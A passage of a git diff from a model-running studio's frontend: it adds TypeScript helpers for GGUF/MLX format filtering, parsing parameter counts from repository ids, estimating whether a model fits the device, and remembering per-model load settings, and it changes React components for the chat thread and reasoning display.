keeps GGUF-only recommendations. */ +export function isRecommendableFormat( + id: string, + hintedIsGguf: boolean | undefined, + isMac: boolean, +): boolean { + if (isGgufId(id, hintedIsGguf)) return true; + return isMac; +} + +/** Format filter for the listing toggle. "safetensors" means anything that is + * neither GGUF nor MLX. */ +export type FormatFilter = "all" | "gguf" | "mlx" | "safetensors"; + +export function matchesFormatFilter( + id: string, + hintedIsGguf: boolean | undefined, + filter: FormatFilter, +): boolean { + switch (filter) { + case "gguf": + return isGgufId(id, hintedIsGguf); + case "mlx": + return isMlxId(id); + case "safetensors": + return !isGgufId(id, hintedIsGguf) && !isMlxId(id); + default: + return true; + } +} + +// First "B" token in a repo id, e.g. "Qwen3-4B-GGUF" -> 4, "gpt-oss-20b" -> +// 20, "Qwen3-30B-A3B" -> 30 (MoE total), "gemma-4-E4B" -> 4 (effective-param +// "E" series). The digits must be bounded by a separator so we never read "16" +// from "bf16" or the "2" in "Kimi-K2". +const PARAM_RE = /(?:^|[-_/. ])[eE]?(\d+(?:\.\d+)?)\s*[bB](?=$|[-_./ ])/; + +/** Parameter count (absolute, e.g. 4e9) parsed from a repo id, or undefined + * when the id has no size token (so callers can treat the size as unknown). */ +export function paramsFromId(id: string): number | undefined { + const match = PARAM_RE.exec(id); + if (!match) return undefined; + const billions = parseFloat(match[1]); + return Number.isFinite(billions) && billions > 0 ? billions * 1e9 : undefined; +} + +// Smallest practical GGUF/MLX quant (~Q2_K, low-bit). The fit check asks whether +// a model can run at all, so it uses this rather than a default 4-bit size; a +// user with a smaller device can still pick a low-bit variant. +const MIN_QUANT_BYTES_PER_PARAM = 0.4; + +/** Rough on-disk bytes for the smallest practical quant of `params` weights. */ +export function estimateQuantBytes(params: number): number { + return params * MIN_QUANT_BYTES_PER_PARAM; +} + +/** A model fits when its on-disk size (or a precomputed VRAM estimate) is within + * the device budget (0.7*GPU + 0.7*RAM). Unknown device means we cannot tell, so + * treat it as fitting. Unknown size normally fits too, but Recommended passes + * `requireKnown` so a model we cannot size (e.g. a huge GGUF with no metadata or + * size token) is hidden rather than wrongly shown. */ +export function fitsDevice(opts: { + sizeBytes?: number; + estimatedVramGb?: number; + gpuGb?: number; + systemRamGb?: number; + requireKnown?: boolean; +}): boolean { + const { sizeBytes, estimatedVramGb, gpuGb, systemRamGb, requireKnown } = opts; + // Unified-memory hosts (Mac / no discrete GPU) report system RAM but no GPU, + // so the budget must include RAM. Only an entirely unknown budget fits freely. + const budgetGb = Math.max(0, gpuGb ?? 0) * 0.7 + Math.max(0, systemRamGb ?? 0) * 0.7; + if (budgetGb <= 0) return true; + if (sizeBytes && sizeBytes > 0) { + return sizeBytes / 1024 ** 3 <= budgetGb; + } + if (estimatedVramGb && estimatedVramGb > 0) { + return estimatedVramGb <= budgetGb; + } + return requireKnown ? false : true; +} + +/** Fit predicate for one Hub listing row, shared by the chat model selector + * and the Hub page "Fits on device" filter. GGUF repos: metadata size (actual + * weights) or the smallest-quant estimate from the param count. Safetensors / + * MLX repos: always the params-based smallest-quant estimate, matching the + * VRAM badge's quantized-load assumption; their estimatedSizeBytes is the + * full-precision checkpoint and would wrongly hide models the quantized load + * path can run. Anything unsizable is hidden (requireKnown) so over-budget + * models with no metadata don't slip through. An unknown device budget keeps + * everything. */ +export function hfModelFitsDevice( + model: { + id: string; + totalParams?: number; + estimatedSizeBytes?: number; + isGguf?: boolean; + }, + gpu: { memoryTotalGb: number; systemRamAvailableGb: number }, +): boolean { + if (gpu.memoryTotalGb <= 0 && gpu.systemRamAvailableGb <= 0) return true; + const params = model.totalParams ?? paramsFromId(model.id); + const quantBytes = params ? estimateQuantBytes(params) : undefined; + const sizeBytes = isGgufId(model.id, model.isGguf) + ? (model.estimatedSizeBytes ?? quantBytes) + : (quantBytes ?? model.estimatedSizeBytes); + return fitsDevice({ + sizeBytes, + gpuGb: gpu.memoryTotalGb, + systemRamGb: gpu.systemRamAvailableGb, + requireKnown: true, + }); +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts new file mode 100644 index 0000000000..ec75b17f20 --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Per-model pre-load inference settings, persisted in localStorage so the load +// dialog can offer "Remember settings for ". + +const KEY = "unsloth_load_settings"; + +export interface RememberedLoadSettings { + contextLength: number | null; + kvCacheDtype: string | null; + speculativeType: string | null; + specDraftNMax: number | null; + tensorParallel: boolean; +} + +// Storage key for a pick's remembered settings. The remembered knobs are +// VRAM-budget driven (context override, KV-cache dtype, tensor-parallel), so the +// right values differ per quant. An HF repo collapses all its GGUF variants into +// one `id`, so fold the variant in to scope settings per quant. Local .gguf +// paths key by their file path (already file-specific); native drag-drop files +// key by display label, so same-named files in different folders share an entry. +export function rememberedLoadSettingsKey(selection: { + id: string; + ggufVariant?: string | null; +}): string { + return selection.ggufVariant + ? `${selection.id}::${selection.ggufVariant}` + : selection.id; +} + +function readAll(): Record { + try { + return JSON.parse(localStorage.getItem(KEY) ?? "{}"); + } catch { + return {}; + } +} + +function writeAll(all: Record) { + try { + localStorage.setItem(KEY, JSON.stringify(all)); + } catch { + // Ignore quota / unavailable storage. + } +} + +export function loadRememberedLoadSettings( + key: string, +): RememberedLoadSettings | null { + return readAll()[key] ?? null; +} + +export function saveRememberedLoadSettings( + key: string, + settings: RememberedLoadSettings, +) { + const all = readAll(); + all[key] = settings; + writeAll(all); +} + +export function clearRememberedLoadSettings(key: string) { + const all = readAll(); + if (key in all) { + delete all[key]; + writeAll(all); + } +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts b/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts new file mode 100644 index 0000000000..15a93285cb --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Pure helpers for model-row presentation: owner/name split, format pills, +// param chip, tabular size. No React/DOM deps so they stay easy to test. + +export type FormatTone = "gguf" | "mlx" | "checkpoint" | "adapter"; + +// Format keyword to DotTag tone. Looked up by full token and by first word, +// so "Full finetune" resolves via "full". +export const FORMAT_TONE: Record = { + gguf: "gguf", + mlx: "mlx", + local: "checkpoint", + safetensors: "checkpoint", + checkpoint: "checkpoint", + lora: "adapter", + merged: "adapter", + adapter: "adapter", + exported: "adapter", + full: "adapter", +}; + +/** Split "owner/name" on the last slash. No slash means name only. */ +export function splitRepoLabel(label: string): { + owner: string | null; + name: string; +} { + const slash = label.lastIndexOf("/"); + if (slash <= 0 || slash === label.length - 1) { + return { owner: null, name: label }; + } + return { owner: label.slice(0, slash), name: label.slice(slash + 1) }; +} + +export type MetaToken = + | { kind: "format"; label: string; tone: FormatTone } + | { kind: "size"; label: string } + | { kind: "param"; label: string } + | { kind: "text"; label: string }; + +const META_SIZE_RE = /(?:KB|MB|GB|TB)\b/i; +const META_APPROX_RE = /^~/; +const META_PARAM_RE = /^\d+(?:\.\d+)?B$/i; +const META_WHITESPACE_RE = /\s+/; + +/** Classify a meta token: size (has KB/MB/GB/TB or leading "~"), param (bare + * "B" like "4B"), format keyword, or plain text. */ +export function classifyMetaToken(raw: string): MetaToken | null { + const t = raw.trim(); + if (!t) return null; + if (META_SIZE_RE.test(t) || META_APPROX_RE.test(t)) { + return { kind: "size", label: t }; + } + if (META_PARAM_RE.test(t)) { + return { kind: "param", label: t.toUpperCase() }; + } + const lower = t.toLowerCase(); + const tone = + FORMAT_TONE[lower] ?? FORMAT_TONE[lower.split(META_WHITESPACE_RE)[0]]; + if (tone) { + return { kind: "format", label: t, tone }; + } + return { kind: "text", label: t }; +} + +/** Parse the dot-separated meta string into structured tokens. */ +export function parseMetaTokens(meta?: string | null): { + formats: { label: string; tone: FormatTone }[]; + param?: string; + size?: string; + texts: string[]; +} { + const formats: { label: string; tone: FormatTone }[] = []; + const texts: string[] = []; + let param: string | undefined; + let size: string | undefined; + if (!meta) return { formats, texts }; + for (const part of meta.split("·")) { + const token = classifyMetaToken(part); + if (!token) continue; + if (token.kind === "format") { + formats.push({ label: token.label, tone: token.tone }); + } else if (token.kind === "size") { + size ??= token.label; + } else if (token.kind === "param") { + param ??= token.label; + } else { + texts.push(token.label); + } + } + return { formats, param, size, texts }; +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts b/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts new file mode 100644 index 0000000000..8330dbca2e --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Pure rules for the source toggle (Hub models / Fine-tuned / Connected). + +export type SourceTab = { value: string; label: string }; + +/** Local models (LM Studio, Ollama, custom folders) are not fine-tuned; they + * live in the Hub tab's Downloaded / Custom sections. */ +export function isFineTunedSource(source?: string): boolean { + return source !== "local"; +} + +/** Build the source tabs. Fine-tuned and Connected models live as sections in + * the Hub tab's toggle, so Hub is the only source and its strip stays hidden. */ +export function buildSourceTabs(): SourceTab[] { + return [{ value: "hub", label: "Hub models" }]; +} diff --git a/studio/frontend/src/components/assistant-ui/model-selector/types.ts b/studio/frontend/src/components/assistant-ui/model-selector/types.ts index 6a86e4f7ed..6a86515267 100644 --- a/studio/frontend/src/components/assistant-ui/model-selector/types.ts +++ b/studio/frontend/src/components/assistant-ui/model-selector/types.ts @@ -31,6 +31,8 @@ export interface ModelSelectorChangeMeta { ggufVariant?: string; isDownloaded?: boolean; expectedBytes?: number; + /** Native GGUF context, threaded so a staged pick can seed the slider. */ + contextLength?: number | null; /** Direct local .gguf file picked without a variant (custom folder / LM * Studio). Marks it as a GGUF source for the deferred-load staging flow. */ isGguf?: boolean; diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx index a6c326c64e..96d21d6fe7 100644 --- a/studio/frontend/src/components/assistant-ui/reasoning.tsx +++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx @@ -6,6 +6,7 @@ /* eslint-disable react-refresh/only-export-components */ import { MarkdownText } from "@/components/assistant-ui/markdown-text"; +import { MessageResponseModelBadge } from "@/components/assistant-ui/message-response-details-sheet"; import { Collapsible, CollapsibleContent, @@ -20,7 +21,8 @@ import { } from "@assistant-ui/react"; import { copyToClipboard } from "@/lib/copy-to-clipboard"; import { type VariantProps, cva } from "class-variance-authority"; -import { ChevronDownIcon, CopyIcon, LightbulbIcon } from "lucide-react"; +import { ChevronDownIcon, CopyIcon } from "lucide-react"; +import { BulbIcon } from "@/lib/bulb-icon"; import { Tick02Icon } from "@/lib/tick-icon"; import { HugeiconsIcon } from "@hugeicons/react"; import { @@ -128,7 +130,7 @@ function ReasoningTrigger({ )} {...props} > - + -
+
-
+ + + +
{isOpen && !isReasoningStreaming && ( )} diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx index 3d986c4c18..d987092c48 100644 --- a/studio/frontend/src/components/assistant-ui/thread.tsx +++ b/studio/frontend/src/components/assistant-ui/thread.tsx @@ -12,6 +12,10 @@ import { import { downloadImagePart } from "@/components/assistant-ui/image"; import { MarkdownText } from "@/components/assistant-ui/markdown-text"; import { MessageHtmlArtifacts } from "@/components/assistant-ui/message-html-artifacts"; +import { + MessageResponseDetailsSheet, + MessageResponseModelBadge, +} from "@/components/assistant-ui/message-response-details-sheet"; import { MessageTiming } from "@/components/assistant-ui/message-timing"; import { Reasoning, ReasoningGroup } from "@/components/assistant-ui/reasoning"; import { RagSourcesGroup } from "@/components/assistant-ui/rag-sources"; @@ -123,6 +127,7 @@ import { FileDatabaseIcon, Folder01Icon, FolderAddIcon, + HelpCircleIcon, Image03Icon, McpServerIcon, PencilRulerIcon, @@ -968,7 +973,9 @@ export const Thread: FC<{ scrollToBottomOnThreadSwitch={false} className={cn( "aui-thread-viewport aui-stream-viewport relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col overflow-x-auto overflow-y-auto scroll-smooth px-5", - hideComposer ? "pt-4" : "pt-[48px]", + hideComposer + ? "pt-4" + : "pt-[calc(var(--studio-content-top-inset,0px)+48px)]", )} > {!hideWelcome && ( @@ -1210,7 +1217,7 @@ const ThreadComposerDock: FC<{
= ({ type="button" aria-label="Tools and attachments" className="unsloth-composer-plus" + data-tour="chat-plus-menu" > @@ -3552,17 +3560,20 @@ const DiffusionCanvas: FC = () => { /** * AssistantMessage handles the display and inline-editing of AI responses. - * - * It utilizes a "Tagged Text" system ( and tags) to allow users - * to edit structured reasoning and tool outputs within a plain-text textarea + * + * It utilizes a "Tagged Text" system ( and tags) to allow users + * to edit structured reasoning and tool outputs within a plain-text textarea * while preserving the underlying data schema and tool-call metadata. */ const AssistantMessage: FC = () => { const aui = useAui(); const messageId = useAuiState(({ message }) => message.id); const messageContent = useAuiState(({ message }) => message.content); + const hasReasoningParts = useAuiState(({ message }) => + message.parts.some((part) => part.type === "reasoning"), + ); const incognito = useChatRuntimeStore((s) => s.incognito); - + // Use global store for editing state to ensure a single source of truth const editingId = useChatRuntimeStore((s) => s.editingMessageId); const setEditingId = useChatRuntimeStore((s) => s.setEditingMessageId); @@ -3585,9 +3596,9 @@ const AssistantMessage: FC = () => { const handleSave = async () => { const finalText = textareaRef.current?.value || ""; - + // Prioritize the specific thread item ID, then fallback to the global active thread ID - const remoteId = aui.threadListItem().getState().remoteId + const remoteId = aui.threadListItem().getState().remoteId || useChatRuntimeStore.getState().activeThreadId; if (!remoteId || remoteId === "" || remoteId === "/") { @@ -3598,9 +3609,9 @@ const AssistantMessage: FC = () => { try { await updateThreadMessage({ - thread: { - export: () => aui.thread().export(), - import: (data) => aui.thread().import(data) + thread: { + export: () => aui.thread().export(), + import: (data) => aui.thread().import(data) }, messageId, remoteId, @@ -3617,20 +3628,20 @@ const AssistantMessage: FC = () => { return (
{isEditing ? (
-